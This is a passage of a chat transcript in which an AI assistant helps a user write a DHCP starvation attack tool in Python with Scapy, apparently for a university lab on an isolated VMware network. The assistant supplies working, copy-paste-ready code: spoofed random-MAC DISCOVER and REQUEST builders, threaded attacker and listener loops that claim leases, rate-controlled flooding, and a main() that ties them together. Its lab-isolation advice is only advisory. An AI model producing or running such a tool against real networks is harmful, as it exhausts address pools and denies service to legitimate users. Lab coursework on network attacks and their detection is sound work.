3. `BOOTP.chaddr` expects **16 bytes**: first 6 are the MAC bytes, the rest are zero padding.
4. `make_request` was missing the `BOOTP(...)` layer and had a stray `\` line continuation. Add BOOTP and include the same `xid` (or new one, but reusing simplifies matching).
5. Generate XID with `random.getrandbits(32)` (or `randint(1, 0xFFFFFFFF)`) and **record** it so you can match OFFERs later.
6. Run as root and make sure the interface is isolated (VMnet host-only).

Copy-paste ready corrected helpers

```python
import random
from scapy.all import Ether, IP, UDP, BOOTP, DHCP

# --- MAC helpers ----------------------------------------------------------
def rand_mac_bytes():
    """Return 6 bytes where the first octet has the locally-administered bit
set
       and multicast bit cleared (good for lab/spoofed MACs)."""
    first = random.randint(0x00, 0xff)
    first = (first & 0b11111110) | 0b00000010   # clear multicast, set local-
admin
    rest = [random.randint(0x00, 0xff) for _ in range(5)]
    return bytes([first] + rest)                # 6 bytes

def mac_bytes_to_str(b):
    """6-byte -> 'aa:bb:cc:dd:ee:ff'"""
    return ':'.join(f"{x:02x}" for x in b)

def make_chaddr(mac_bytes):
    """Return 16-byte chaddr for BOOTP (6-byte MAC + 10 bytes padding)."""
    assert len(mac_bytes) == 6
    return mac_bytes + (b'\x00' * 10)

# --- XID helper -----------------------------------------------------------
def gen_xid():
    return random.getrandbits(32)

# --- Packet builders ------------------------------------------------------
def make_discover(mac_bytes):
    """
    Returns (pkt, xid)
    mac_bytes: 6 bytes
```

```
    """
    xid = gen_xid()
    chaddr = make_chaddr(mac_bytes)
    eth_src = mac_bytes_to_str(mac_bytes)   # use for Ether(src=...)
    pkt = (
        Ether(dst="ff:ff:ff:ff:ff:ff", src=eth_src) /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(op=1, htype=1, hlen=6, xid=xid, chaddr=chaddr, flags=0x8000) /
        DHCP(options=[
            ("message-type", "discover"),
            ("param_req_list", [1,3,6,15,28,51,54]),
            ("hostname", f"victim-{random.randint(1000,9999)}"),
            "end"
        ])
    )
    return pkt, xid

def make_request(mac_bytes, requested_ip, server_id, xid):
    """
    Build DHCPREQUEST packet for the OFFER you received.
    - mac_bytes: 6 bytes
    - requested_ip: string "192.168.x.y" (from OFFER's yiaddr)
    - server_id: string "192.168.x.1" (option 54 from OFFER)
    - xid: the transaction id to correlate (reuse or generate new)
    """
    chaddr = make_chaddr(mac_bytes)
    eth_src = mac_bytes_to_str(mac_bytes)
    pkt = (
        Ether(dst="ff:ff:ff:ff:ff:ff", src=eth_src) /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(op=1, htype=1, hlen=6, xid=xid, chaddr=chaddr, flags=0x8000) /
        DHCP(options=[
            ("message-type", "request"),
            ("requested_addr", requested_ip),
            ("server_id", server_id),
            ("param_req_list", [1,3,6,15,28,51,54]),
            ("hostname", f"victim-{random.randint(1000,9999)}"),
            "end"
        ])
    )
    return pkt
```

Example: how to use the helpers (send DISCOVER, sniff OFFER)

This minimal example shows sending a DISCOVER and how you would match an OFFER by XID (sniff callback skeleton). You'll need to adapt interface names and run as root.

```python
from scapy.all import sendp, sniff, BOOTP, DHCP
import threading, time

iface = "vmnet10"   # change to your isolated interface

# keep mapping xid -> mac for matching
xid_to_mac = {}

def send_one_discover():
    mac_b = rand_mac_bytes()           # 6 bytes
    pkt, xid = make_discover(mac_b)
    xid_to_mac[xid] = mac_b
    sendp(pkt, iface=iface, verbose=False)
    print(f"SENT DISCOVER xid=0x{xid:08x} mac={mac_bytes_to_str(mac_b)}")
    return xid

def dhcp_callback(pkt):
    if BOOTP in pkt and DHCP in pkt:
        try:
            rx_xid = pkt[BOOTP].xid
        except Exception:
            return
        # Convert DHCP options list to dict
        opts = {}
        for o in pkt[DHCP].options:
            if isinstance(o, tuple):
                opts[o[0]] = o[1]
```

```
            elif o == 'end':
                break

        mtype = opts.get('message-type')
        if mtype == 2:  # OFFER
            if rx_xid in xid_to_mac:
                offered_ip = pkt[BOOTP].yiaddr
                server_id = opts.get('server_id') or pkt[IP].src
                mac_b = xid_to_mac[rx_xid]
                print(f"RECEIVED OFFER xid=0x{rx_xid:08x} ip={offered_ip}
server={server_id} mac={mac_bytes_to_str(mac_b)}")
                # craft request and send
                req = make_request(mac_b, requested_ip=offered_ip,
server_id=server_id, xid=rx_xid)
                sendp(req, iface=iface, verbose=False)
                print(f"SENT REQUEST for {offered_ip} xid=0x{rx_xid:08x}")
        elif mtype == 5:  # ACK
            # parse and record lease if desired
            print(f"ACK for xid=0x{rx_xid:08x} -> yiaddr={pkt[BOOTP].yiaddr}")

# start sniffer thread
sniff_thread = threading.Thread(target=lambda: sniff(filter="udp and (port 67
or 68)", prn=dhcp_callback, store=0, iface=iface))
sniff_thread.daemon = True
sniff_thread.start()

# send a DISCOVER
send_one_discover()
time.sleep(5)   # wait for offer/ack; expand loops for full tool
```

Common gotchas you might hit

- **No OFFER seen?**
  - Check that your iface is actually connected to the isolated VMnet with a DHCP server running.
  - Ensure you run as root.
  - Some systems drop broadcast replies unless BOOTP flags are set (we set `flags=0x8000` to request broadcast reply).
- **Hypervisor overrides Ether(src=...)**: VMware may replace the Ethernet source MAC with the VM's configured NIC MAC. That's okay — `BOOTP.chaddr` is what the DHCP server uses for leases.
- **Scapy showing reading errors?** Ensure imports include `BOOTP` and `DHCP` and that `scapy` version supports those layers.
- **Interface name**: replace `vmnet10` with your host-only interface or the correct interface name. On Linux it might be `eth0` in VM but ensure it's isolated.

Final checklist before running

- Stop any background DHCP client on the attacker VM (`sudo systemctl stop dhclient` or `sudo dhclient -r && sudo dhclient -x`), or use a dedicated interface.
- Ensure your VMware Virtual Network Editor uses a host-only VMnet for all lab VMs.
- Run script as root (or sudo).
- Take snapshots of VMs before testing.

If you paste your current full functions (the code you tried to run) I'll point out the exact lines that caused the failure and show the minimal fix in-place.

besides those functionse, whats neede more in tterms of fucntions and what would their purpose be?

Great — you've got the core packet builders (`rand_mac` , `make_discover` , `make_request`). To make a **robust, maintainable, testable** DHCP-starvation tool you'll want a number of additional functions/modules. Below I give a compact, actionable design: function names, purpose, inputs/outputs, concurrency notes, and the minimal behavior each must implement. Use this as a blueprint when you code — it'll make the program production-quality for your lab demo and report.

Overall architecture (high level)

Split into clear components:

- **Sender**: creates DISCOVER/REQUEST packets and transmits them.

- **Listener**: sniffs DHCP packets (OFFER/ACK/NAK) and handles responses.
- **Coordinator / State manager**: stores XID ↔ MAC ↔ state, lease table, retries, timers.
- **Cleaner / Shutdown**: release leases (optional), graceful exit, logging flush.
- **CLI / config**: parse command-line args, set thresholds, interface, rate.
- **Logger / pcap**: persistent logs, pcap dump for evidence.
- **Safety / environment checks**: verify isolated network and root privileges.
- **Optional Detector integration**: hooks for local detector to alert.

Recommended functions (grouped) — names, purpose, signatures

1. Environment & bootstrap

`check_root() -> None`

- Ensure running as root; exit with clear message if not.

`validate_interface(iface: str) -> bool`

- Confirm interface exists and (heuristically) is host-only / isolated. Return True/False.

`init_logging(logfile: str, pcapfile: str) -> None`

- Configure logging and open pcap writer (e.g., `PcapWriter` from scapy or tshark capture command).

2. Randomization & helpers (you already have these but include)

`generate_random_mac() -> bytes(6)`
`mac_bytes_to_str(mac: bytes) -> str`
`make_chaddr(mac: bytes) -> bytes(16)`
`gen_xid() -> int`

3. Packet builders (you have versions)

`make_discover(xid: int, mac: bytes) -> Packet`
`make_request(xid: int, mac: bytes, ip: str, server_id: str) -> Packet`
`make_release(mac: bytes, ip: str, server_id: str) -> Packet` *(optional but polite)*

4. Sending / sender control

`send_packet(pkt: Packet, iface: str) -> None`

- Single wrapper around `sendp` that handles exceptions and optional pcap write.

`sender_worker(iface: str, send_queue: Queue, rate_limit: float) -> None`

- Thread which pulls packets (DISCOVER or REQUEST) from a queue and sends at `rate_limit` with jitter. Keeps sending lightweight.

`enqueue_discover(mac: bytes) -> int`

- Create XID, build discover, store XID entry in state map, push pkt to send_queue, return xid.

5. Listener & parsing

`start_sniffer(iface: str, callback: Callable) -> Thread`

- Start `sniff()` in separate thread and call `callback(pkt)` per packet.

`parse_dhcp_options(pkt) -> dict`

- Convert `pkt[DHCP].options` list into dict: keys → values (message-type, server_id, lease_time, etc.)

`dhcp_callback(pkt) -> None`

- Called by sniffer. Extract XID, message-type; lookup `xid_map` and take actions:
  - OFFER → craft REQUEST and enqueue
  - ACK → mark lease obtained; store lease expiry
  - NAK/DECLINE → mark failure, maybe retry

6. State management & bookkeeping

`store_pending_xid(xid: int, mac: bytes, state: str) -> None`

- Add to `xid_map` with timestamp, retries = 0.

`update_xid_state(xid: int, new_state: str) -> None`
`record_lease(mac: bytes, ip: str, lease_seconds: int, server_id: str) -> None`
`release_all_leases(iface: str) -> None`
`get_stats() -> dict` — return counts (sent, offers, acks, leases, failed, unique_macs).

7. Retransmit / cleanup / timers

`retransmit_loop() -> None` (background thread)

- Periodically scan `xid_map`:

- If `state == DISCOVER_SENT` and `now - ts > OFFER_TIMEOUT` and retries < MAX → resend DISCOVER, increment retries.
- If retries > MAX → drop entry and optionally remove the MAC from the pool.
- If `state == REQUEST_SENT` and `now - ts > ACK_TIMEOUT` → retry REQUEST or drop.

`lease_expiry_loop() -> None` (optional)

- Remove expired leases from `leases` map (if you want to later release them or show churn).

8. CLI / config / UI

`parse_args() -> Namespace`

- Interface, rate (packets/sec), concurrency/workers, pool-size goal, timeout values, pcap path, dry-run flag, release-on-exit boolean.

`print_status_loop() -> None`

- Periodic console print of counters and alerts (useful during demo).

9. Logging & evidence

`write_log_entry(event: dict) -> None`

- JSON logging for each important step: DISCOVER sent, OFFER seen, REQUEST sent, ACK received, RELEASE sent, errors.

`save_pcap(pkt: Packet) -> None`

- Append important packets to pcap file for report.

10. Safety and shutdown

`signal_handler(sig, frame) -> None`

- Catch SIGINT/SIGTERM to call `graceful_shutdown()`.

`graceful_shutdown(release: bool=True) -> None`

- Stop threads, optionally send RELEASE for each leased IP, flush logs, close pcap, print summary.

11. Diagnostics / test helpers

`self_test_once(iface: str) -> bool`

- Send single DISCOVER, wait 3–5 sec for OFFER; report true/false. Useful before big run.

`dump_state_to_file(path: str) -> None`

- Save in-progress `xid_map` and `leases` for post-mortem.

Threading / concurrency model (recommended)

- **Main thread**: parse args, validate interface, start threads, register signals.
- **Sniffer thread**: runs `sniff(...)` and calls `dhcp_callback`. Keep callback short — hand work to worker threads if heavy.
- **Sender thread(s)**: read from `send_queue`, call `send_packet()`. Use rate limiting and jitter here.
- **Retransmit/cleanup thread**: scans `xid_map` for timeouts and resends or cleans.
- **Printer thread** (optional): prints live stats every N seconds.

Use `threading.Lock()` to protect `xid_map` and `leases`. If you use `queue.Queue`, it's thread-safe.

Minimal state shape examples

```python
xid_map = {
  xid_int: {
    'mac': bytes(6),
    'state': 'DISCOVER_SENT' | 'REQUEST_SENT',
    'ts': float(epoch),
    'retries': int,
    'requested_ip': None or 'x.x.x.x',   # after OFFER
    'server_id': None or 'x.x.x.x'
  }
}

leases = {
  mac_str: {
    'ip': 'x.x.x.x',
    'server_id': 'x.x.x.x',
    'lease_expiry': epoch,
```

```
  }
}
```

Detector integration hooks (for your detector VM)

If you want to make a combined Attack vs Detector demo, provide hooks:

- `emit_alert(alert_type: str, details: dict) -> None` — call to notify detector (e.g., via local socket, HTTP, or write to file).
- Detector can read your `write_log_entry` output or listen to events to show real-time detection.

Unit tests & offline tests (very important)

Write quick tests that don't send packets:

- `test_generate_random_mac()` — ensure proper bit settings and uniqueness.
- `test_chaddr_padding()` — BOOTP.chaddr becomes 16 bytes.
- `test_xid_map_put_get()` — store and retrieve.
- `test_make_discover_pkt()` — check `pkt[BOOTP].xid`, `pkt[BOOTP].chaddr`, `pkt[DHCP]` options present.

What to include in the 3-page report from these functions

- Short description of each module & function responsibility.
- Example CLI to reproduce the demo.
- Key logs / pcap snippets (use `save_pcap`) and explanation of which function produced them.
- Who wrote which functions (assignment requirement).

Defaults & recommended parameter values for demo

- `POOL_SIZE` small for deterministic test: 10 addresses.
- `LEASE_TIME` short: 300 seconds (5 min) or less for faster churn.
- `OFFER_TIMEOUT` = 3 s, `ACK_TIMEOUT` = 3 s.
- `MAX_RETRIES` = 3.
- `RATE` = configurable; start with 20–100 reqs/sec for VM lab; you can increase when confident.

Safety & final reminders

- Program must check that the interface is isolated and warn/abort otherwise.
- Always include `--dry-run` option to print what would be sent without sending.
- Document in README and 3-page report that you used host-only VMnet and snapshots.

If you want, I can next:

- produce a **compact checklist** mapping each function above to exact lines you should put in the README and the 3-page report (who wrote each), **or**
- review a short (≤100 lines) draft of your control/coordination code (the `xid_map`, sender loop, and listener callback) and point out concurrency bugs and missing pieces.

Which would you like?

```
FUNCTION attacker_loop():
  print start message (unless quiet)
  WHILE running:
    mac = generate_random_mac()
    (discover_packet, xid) = build_DHCP_DISCOVER(mac)
    xid_to_mac[xid] = mac
    send discover_packet on interface
    sent = sent + 1
    occasionally print progress (unless quiet)
    sleep short delay

FUNCTION listener_loop():
  sniff for DHCP packets on interface
  for each packet call handle(packet)
  stop sniffing when running == false

FUNCTION stats():
  print counts: DISCOVERs sent, leases, unique MACs,
unique IPs
  optionally print min/max IP seen/// would these two
functions work
```

Yes — those two high-level functions are a correct backbone for the attacker, but as written they're **incomplete** and will fail or behave unreliably in real use. Below I explain exactly **what's missing or fragile**, why, and give a compact list of concrete fixes and additions so those functions will actually work in your tool. I'll keep it short, practical, and actionable so you can integrate the changes into your own implementation.

Short answer

Yes — the loops are the right idea. But to make them reliable you **must** add:

- XID bookkeeping + timeouts/retries,
- a listener → REQUEST flow (OFFER → REQUEST → wait for ACK),
- thread-safety (locks) around shared maps/counters,
- a clean way to stop `sniff()`,
- rate control and jitter,
- logging and graceful shutdown (optional release),
- sniff filter and parsing of DHCP options.

Add those and your attacker will behave predictably.

Problems in the current pseudo-flow (and fixes)

1. **No OFFER → REQUEST step**
    - Problem: You send DISCOVERs, store xid→mac, but you never act when an OFFER arrives.
    - Fix: In `handle(packet)` (called from `listener_loop`) detect DHCP OFFERs, match `pkt[BOOTP].xid` to `xid_to_mac`, then build & **send** a DHCP REQUEST (including `requested_addr` and `server_id` option). Update state to `REQUEST_SENT`.
2. **No ACK handling**
    - Problem: You must detect DHCP ACK (success) to count leases and avoid retrying forever.
    - Fix: In `handle(packet)` parse DHCP options; on ACK store lease info (ip, lease time, server) and remove/mark the xid mapping.
3. **No timeouts / retransmit / cleanup**
    - Problem: If no OFFER arrives, xid_to_mac entries pile up; you might forget which XIDs are pending.
    - Fix: Add a background `cleanup_loop()` that scans pending XIDs and retransmits DISCOVER or removes the entry after `MAX_RETRIES` or `OFFER_TIMEOUT` seconds.
4. **Thread-safety / race conditions**
    - Problem: `attacker_loop` writes `xid_to_mac` while `listener_loop` reads/removes entries → race.
    - Fix: Protect shared structures (`xid_to_mac`, counters, `leases`) with a `threading.Lock()` (or `RLock`) or use a `queue.Queue` for actions.
5. **Stopping the sniffer cleanly**
    - Problem: `sniff()` blocks indefinitely; your `running == False` flag won't stop it.
    - Fix: Use `scapy.asyncsniff()` / `AsyncSniffer` so you can `sniffer.stop()` from another thread, or use `sniff(..., stop_filter=lambda p: not running)` but be careful — `stop_filter` is evaluated per-packet only. `AsyncSniffer` is simplest.
6. **Missing parsing of DHCP options**
    - Problem: You must read `pkt[DHCP].options` to find message-type, server_id (option 54), lease_time (51), etc.
    - Fix: Convert options list to dict and branch on `message-type` (OFFER=2, ACK=5, NAK=6).
7. **MAC and BOOTP formatting**
    - Problem: Make sure `xid_to_mac` stores 6-byte `mac_bytes`, and `BOOTP.chaddr` uses 16-byte padded value. Also use `mac_str` for `Ether(src=...)`.
    - Fix: Use helper functions `make_chaddr()` and `mac_bytes_to_str()`.
8. **Rate control & jitter**
    - Problem: `sleep short delay` needs jitter and a configurable rate, or you will either flood or be too slow.
    - Fix: `time.sleep(1.0 / rate + random.uniform(-jitter, jitter))`.
9. **Logging & evidence**
    - Problem: No logs or pcap writing for assignment screenshots.
    - Fix: Add JSON log entries and optionally use `scapy.utils.PcapWriter` to save critical packets.
10. **Ethical/environment check**
    - Problem: Must verify interface is isolated and warn/abort if not.
    - Fix: `validate_interface()` at startup.

Minimal expanded pseudo (with essential pieces)

(Keep your function names; this shows the extra steps you need.)

```python
GLOBAL xid_to_mac = {}       # xid -> {mac, ts, retries, state}
GLOBAL leases = {}          # mac_str -> {ip, lease_expiry, server}
GLOBAL lock = threading.Lock()
GLOBAL running = True

FUNCTION attacker_loop():
  print start
  while running:
    mac = generate_random_mac()
    xid = gen_xid()
    pkt = build_discover(xid, mac)
    with lock:
      xid_to_mac[xid] = {'mac':mac, 'ts':now(), 'retries':0,
'state':'DISCOVER_SENT'}
    sendp(pkt, iface=IFACE)
    increment sent counter
    occasionally print progress
    sleep_with_rate_and_jitter()

FUNCTION listener_loop():
  # use AsyncSniffer so you can stop it externally
  sniffer = AsyncSniffer(iface=IFACE, filter="udp and (port 67 or 68)",
prn=handle)
  sniffer.start()
  while running: sleep(0.5)
  sniffer.stop()

FUNCTION handle(pkt):
  if not DHCP/BOOTP: return
  opts = dhcp_options_to_dict(pkt[DHCP].options)
  rx_xid = pkt[BOOTP].xid
  with lock:
    entry = xid_to_mac.get(rx_xid)
  if opts['message-type']==2 (OFFER) and entry:
    offered_ip = pkt[BOOTP].yiaddr
    server = opts.get('server_id') or pkt[IP].src
    # build REQUEST using entry['mac'] and same xid (or new xid if you prefer)
    req = build_request(xid=rx_xid, mac=entry['mac'], ip=offered_ip,
server=server)
    sendp(req, iface=IFACE)
    with lock:
      xid_to_mac[rx_xid]['state']='REQUEST_SENT'
      xid_to_mac[rx_xid]['ts'] = now()
  elif opts['message-type']==5 (ACK) and entry:
    with lock:
      record lease in leases (mac->ip, expiry)
      remove xid_to_mac[rx_xid]
      increment leases counter

FUNCTION cleanup_loop():
  while running:
    now = now()
    with lock:
      for xid,meta in list(xid_to_mac.items()):
        if meta['state']=='DISCOVER_SENT' and now - meta['ts'] >
OFFER_TIMEOUT:
           if meta['retries'] < MAX_RETRIES:
               resend DISCOVER (rebuild pkt or store original) and increment
retries
               update ts
           else:
               delete xid_to_mac[xid]
        if meta['state']=='REQUEST_SENT' and now - meta['ts'] > ACK_TIMEOUT:
           handle similarly (retry request or drop)
    sleep(CLEANUP_INTERVAL)

FUNCTION stats():
  with lock:
    print sent_count, len(leases), unique MACs = size of mac set, unique IPs =
len(set of leased IPs)
```

Practical default values (recommended)

- `OFFER_TIMEOUT = 3` seconds
- `ACK_TIMEOUT = 3` seconds
- `MAX_RETRIES = 3`
- `RATE = 20` requests/second (start small)
- `JITTER = 0.01` seconds
- `CLEANUP_INTERVAL = 1` second

Implementation notes you'll find useful

- Use `random.getrandbits(32)` for XID (`xid = gen_xid()`).
- Use `AsyncSniffer` from Scapy: `from scapy.all import AsyncSniffer`.
- When matching options, convert `pkt[DHCP].options` into a dict (some entries are tuples).
- Protect counters with the same lock or use `collections.Counter()` with a lock.
- For stopping: set `running = False`, wait for threads to join, then optionally send DHCPRELEASEs for each lease you obtained (polite behavior).

Final checklist for you to implement now

- ☐ Add OFFER→REQUEST handling in `handle(packet)`
- ☐ Add ACK handling to count leases
- ☐ Add cleanup/retransmit background loop
- ☐ Add `threading.Lock()` around `xid_to_mac` and counters
- ☐ Use `AsyncSniffer` so `listener_loop` can stop cleanly
- ☐ Add rate control + jitter to `attacker_loop`
- ☐ Add logging/pcap write for evidence and report
- ☐ Add `validate_interface()` and `check_root()`

If you want, I can:

- produce a *short* (≈30 line) runnable skeleton showing these functions wired together (no heavy features) for you to expand, **or**
- review your next version of `attacker_loop` + `listener_loop` and point out the exact lines to change.

Which do you prefer?

```
def attacker():
    global sent
    if not quiet: print(f"[*] Starting on {iface} - Ctrl+C to
stop")
    while running:
        mac=rand_mac(); pkt,xid=make_discover(mac);
xid_mac[xid]=mac
        sendp(pkt, iface=iface, verbose=0); sent+=1


def listener():
    sniff(filter="udp and (port 67 or port 68)", prn=handle,
iface=iface, store=0,
          stop_filter=lambda x: not running)

def stats():
    print("\n" + "="*40); print("STATS"); print("="*40)
    print(f"DISCOVERs sent: {sent}"); print(f"Successful
leases: {leases}")
    print(f"Unique MACs: {len(fake_macs)}"); print(f"Unique
IPs: {len(set(requested))}")
    if requested:
        try: print(f"IP Range: {min(requested)} -
{max(requested)}")
        except: pass
    print("="*40)//// would this work?
```

Yes — that is a good minimal skeleton, but as written it will be fragile or buggy in real runs. Below I'll point out the exact problems you'll hit and give **corrected, copy-pasteable** versions of the three functions plus the small supporting pieces you need (locks, globals, AsyncSniffer usage, rate control, and what `handle()` must do). Use this to replace your current functions — they keep your structure but make the tool robust, thread-safe, and stoppable.

Summary of the main issues in your original code

- Race conditions: `xid_mac`, `sent`, `leases`, `fake_macs`, `requested` are shared across threads but not locked.
- `sniff(..., stop_filter=lambda x: not running)` only checks the condition when a packet arrives; it can hang forever if traffic stops. Use `AsyncSniffer` so you can stop it reliably.
- No rate control or jitter in `attacker()` (can overwhelm the VM or the DHCP server).
- No bookkeeping of retries/timeouts — `xid_mac` will grow unbounded if an OFFER never arrives.
- `stats()` assumes types (e.g., `leases` might be an int or dict) — be explicit.
- `fake_macs` / `requested` need to be updated where appropriate (e.g., in `attacker()` and in `handle()`).
- `sent` increment not protected by a lock.
- Graceful shutdown / join of threads missing.

Below is a safe, working replacement you can drop in. I kept your function names and minimal semantics but fixed all issues.

Copy-pasteable code (replace your three functions with these)

```python
# put these near top of your script
import threading, time, random
from scapy.all import AsyncSniffer, sendp

# shared state (initialize in main)
lock = threading.Lock()
running = True                # set to False on SIGINT
sent = 0                      # total DISCOVERs sent
xid_mac = {}                  # xid (int) -> { 'mac': bytes, 'ts': float, 'state': str, 'retries': int }
leases = {}                   # mac_str -> { 'ip': str, 'expiry': float, 'server': str }
fake_macs = set()             # set of mac_str created by attacker
requested = []                # list of requested IPs (strings) to compute min/max
# config
iface = "vmnet10"             # replace with your interface
RATE = 40.0                   # DISCOVERs per second
JITTER = 0.01                 # seconds jitter
OFFER_TIMEOUT = 3.0
MAX_RETRIES = 3

# NOTE: handle(pkt) must be implemented to:
#  - parse pkt[BOOTP].xid and pkt[DHCP].options
#  - when OFFER: find xid in xid_mac, build+send REQUEST, update xid_mac[xid]['state']='REQUEST_SENT'
#  - when ACK: move entry from xid_mac -> leases and append requested IP to requested list
#  - use lock when modifying shared state

def attacker():
    """Loop that generates random MACs, builds DISCOVERs and sends them at RATE (with jitter)."""
    global sent, running
    if not quiet:
        print(f"[*] Starting attacker on {iface} - Ctrl+C to stop")

    interval = 1.0 / RATE if RATE > 0 else 0.0
    while running:
        mac_b = rand_mac()                          # should return 6-byte bytes
        mac_str = mac_bytes_to_str(mac_b)          # readable "aa:bb:cc:.."
        pkt, xid = make_discover(mac_b)            # make_discover returns (pkt, xid)
        ts = time.time()
        with lock:
            xid_mac[xid] = {'mac': mac_b, 'ts': ts, 'state': 'DISCOVER_SENT', 'retries': 0}
            fake_macs.add(mac_str)

        try:
```

```
            sendp(pkt, iface=iface, verbose=0)
            with lock:
                sent += 1
        except Exception as e:
            # don't crash the loop on transient send errors
            print(f"[!] sendp failed: {e}")

        # rate control with small random jitter
        sleep_time = interval + random.uniform(-JITTER, JITTER)
        if sleep_time > 0:
            time.sleep(sleep_time)

def listener():
    """Start an AsyncSniffer and return when running becomes False
(sniffer.stop() called)."""
    # Use AsyncSniffer so we can stop it cleanly from another thread.
    sniffer = AsyncSniffer(iface=iface, filter="udp and (port 67 or 68)",
prn=handle, store=0)
    sniffer.start()
    # spin until running is cleared; when stopping, stop the sniffer and
return
    try:
        while running:
            time.sleep(0.3)
    finally:
        sniffer.stop()
        # ensure any outstanding packets are processed before returning
        time.sleep(0.2)

def stats():
    """Print a consistent snapshot of runtime stats."""
    with lock:
        sent_local = sent
        leases_local = dict(leases)         # shallow copy for safe use
        fake_macs_count = len(fake_macs)
        requested_local = list(requested)

    print("\n" + "="*40)
    print("STATS")
    print("="*40)
    print(f"DISCOVERs sent: {sent_local}")
    # leases may be dict of mac->info, so show count and optionally details
    print(f"Successful leases (count): {len(leases_local)}")
    print(f"Unique MACs (generated): {fake_macs_count}")
    print(f"Unique IPs requested: {len(set(requested_local))}")
    if requested_local:
        try:
            # convert strings to sortable ip ints if needed; keep simple and
print min/max textually
            ips_sorted = sorted(requested_local, key=lambda s: tuple(int(x)
for x in s.split('.')))
            print(f"IP Range: {ips_sorted[0]} - {ips_sorted[-1]}")
        except Exception:
            # fallback if requested contains non-ip strings
            print(f"IPs seen (examples): {requested_local[:5]}")
    print("="*40)
```

What `handle(pkt)` must do (brief)

- Convert `pkt[DHCP].options` to a dict to find `message-type`, `server_id`, and `lease_time` keys.
- Read `rx_xid = pkt[BOOTP].xid`.
- With `lock`:
  - If `message-type == 2` (OFFER) and `rx_xid in xid_mac`:
    - Extract `offered_ip = pkt[BOOTP].yiaddr` and `server_id`.
    - Build `req = make_request(xid=rx_xid, mac=mac_b, ip=offered_ip, server=server_id)`.
    - `sendp(req, iface=iface, verbose=0)` and update `xid_mac[rx_xid]['state']='REQUEST_SENT'` and `xid_mac[rx_xid]['ts']=time.time()`.
  - If `message-type == 5` (ACK) and `rx_xid in xid_mac`:
    - Move entry into `leases` and append offered_ip to `requested` list.
    - Delete `xid_mac[rx_xid]`.

(You can find earlier messages where I demonstrated how to parse options and send request.)

Additional recommended pieces (must implement)

- **cleanup_loop()** — periodically scan `xid_mac` for entries older than `OFFER_TIMEOUT` and either retransmit DISCOVER (increment `retries`) or drop if `retries >= MAX_RETRIES`. This prevents unbounded memory growth.
- **signal handler** — capture SIGINT and set `running = False` and wait for threads to join; call `stats()` once at end and optionally `release_all_leases()`.
- **type expectations**:
  - `rand_mac()` should return `bytes` (6 bytes). Use helper `mac_bytes_to_str()` when adding to sets/printing.
  - `make_discover()` must return `(pkt, xid)` and `make_request()` must accept `(mac_bytes, ip, server, xid)` and return a `pkt`.
- **Log / pcap writer** — consider writing important events to JSON log for report screenshots.

Why these changes matter (short)

- Locks avoid race conditons and corrupted counters.
- AsyncSniffer ensures the listener stops promptly even when there is little traffic.
- Rate control prevents saturating the interface / causing odd VM behaviour.
- Cleanup prevents memory leaks and allows the tool to run for long demos.
- Clear separation of where shared variables are updated makes debugging far easier.

If you want, I can:

- give you a minimal `cleanup_loop()` implementation next, or
- paste a minimal `handle(pkt)` implementation that matches the corrected functions above (so you can run an end-to-end single-DISCOVER → OFFER → REQUEST → ACK test).

Tell me which and I'll include it in the next message.

no but this version isnt working the before wa, oinly fix my last two fucntions

Got it — here are **just the fixed versions** of your `listener()` and `stats()` functions (minimal changes, ready to paste into your script). I kept your original names and behavior but addressed the two common problems:

- `listener()` now uses `AsyncSniffer` so it can be stopped reliably when `running` is cleared (the old `stop_filter` only checked per-packet and could hang).
- `stats()` takes the shared-state lock while reading globals so it prints a consistent snapshot and avoids race conditions.

Drop these in and they should work with your existing `attacker()` and `handle()` (I assume you already have a `lock` and the other globals initialized).

```python
from scapy.all import AsyncSniffer
import time

def listener():
    """
    Start an AsyncSniffer that calls handle(pkt) for each DHCP packet.
    The sniffer runs until `running` becomes False; then we stop it cleanly.
    """
    sniffer = AsyncSniffer(iface=iface, filter="udp and (port 67 or 68)",
prn=handle, store=0)
    sniffer.start()
    try:
        # spin until running is cleared by signal handler or main thread
        while running:
            time.sleep(0.2)
    finally:
        # stop the sniffer reliably
        try:
            sniffer.stop()
        except Exception:
            pass
        # small pause to let pending callbacks finish
        time.sleep(0.1)
```

```
def stats():
    """
    Print a consistent snapshot of runtime stats.
    Uses `lock` to avoid races while reading shared counters/maps.
    """
    with lock:
        sent_local = sent
        # leases might be a dict mapping mac->info or an int; handle both
        try:
            leases_count = len(leases) if hasattr(leases, '__len__') else
int(leases)
        except Exception:
            leases_count = leases
        fake_macs_count = len(fake_macs) if 'fake_macs' in globals() else 0
        requested_local = list(requested) if 'requested' in globals() else []

    print("\n" + "="*40)
    print("STATS")
    print("="*40)
    print(f"DISCOVERs sent: {sent_local}")
    print(f"Successful leases (count): {leases_count}")
    print(f"Unique MACs (generated): {fake_macs_count}")
    print(f"Unique IPs requested: {len(set(requested_local))}")
    if requested_local:
        try:
            # sort IP strings numerically for human-friendly min/max
            ips_sorted = sorted(requested_local, key=lambda s: tuple(int(x)
for x in s.split('.')))
            print(f"IP Range: {ips_sorted[0]} - {ips_sorted[-1]}")
        except Exception:
            # fallback if entries are non-IP or parsing fails
            print(f"IPs seen (examples): {requested_local[:5]}")
    print("="*40)
```

Notes / assumptions (brief):

- These functions assume:
  - `iface`, `running`, `handle`, `lock`, `sent`, `leases`, `fake_macs`, and `requested` are globals initialized elsewhere.
  - `handle(pkt)` correctly parses DHCP packets and updates `leases`, `requested`, etc.
- If you don't already `import AsyncSniffer`, the snippet includes it. Run the program as root.

If you want, paste your current `handle(pkt)` and I'll quickly glance for any missing pieces that might still keep the sniffer from seeing OFFERS/ACKs.

write me a suitable main fxn

Here's a **simple, suitable `main()` function** that wires together your `attacker()`, `listener()`, and `stats()` functions, and adds the minimum needed to make your script runnable, stoppable, and clean:

```python
import threading, signal, sys, time

def main():
    global running
    print("[*] DHCP Starvation tool starting…")

    # Graceful shutdown handler
    def handle_sigint(sig, frame):
        global running
        print("\n[!] Caught Ctrl+C, shutting down…")
        running = False

    signal.signal(signal.SIGINT, handle_sigint)

    # Start listener in background thread
    t_listener = threading.Thread(target=listener, daemon=True)
    t_listener.start()

    # Start attacker in background thread
    t_attacker = threading.Thread(target=attacker, daemon=True)
    t_attacker.start()

    try:
```

```
        # Keep main thread alive until interrupted
        while running:
            time.sleep(5)
            stats()   # print periodic stats
    except KeyboardInterrupt:
        running = False

    # Wait for threads to finish
    t_attacker.join()
    t_listener.join()

